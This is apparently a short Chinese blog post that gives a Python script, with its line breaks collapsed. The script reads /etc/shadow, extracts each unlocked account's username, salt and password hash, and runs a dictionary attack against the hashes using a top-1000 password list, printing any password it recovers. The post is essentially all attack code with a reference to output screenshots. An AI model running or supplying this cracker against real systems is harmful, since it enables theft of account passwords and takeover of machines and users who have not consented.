python脚本-读取shadow关键信息并爆破密码 代码 import crypt from colorama import Fore,Styledef crack():# 密码爆破函数定义with open('/root/top1000.txt') as f:# 此处更改密码字典for passwd in f:passwd2=crypt.crypt(passwd.strip(),salt)if passwd2 == passwd_hash:print(Fore.GREEN+f"correct pass:{passwd}"+Style.RESET_ALL)return passwd# else:# print(Fore.WHITE+f"[-] {passwd.strip()} is wrong")# 此处else解除注释可以看到爆破过程,但是结果会被分散with open('/etc/shadow') as file:# 文件读取for pass1 in file:list1=pass1.split(":")if list1[1]!="*" and list1[1]!="!" and list1[1]!="!*":# 判定账户是否被锁定username=list1[0]passwd_hash=list1[1]salt=list1[1][list1[1].find("$"):list1[1].rfind("$")+1]print(Fore.YELLOW+f"username:{username}"+Style.RESET_ALL)print(Fore.BLUE+f"salt:{salt}"+Style.RESET_ALL)print(Fore.BLUE+f"passwd_hash{passwd_hash}"+Style.RESET_ALL)crack() 效果 无爆破过程 有爆破过程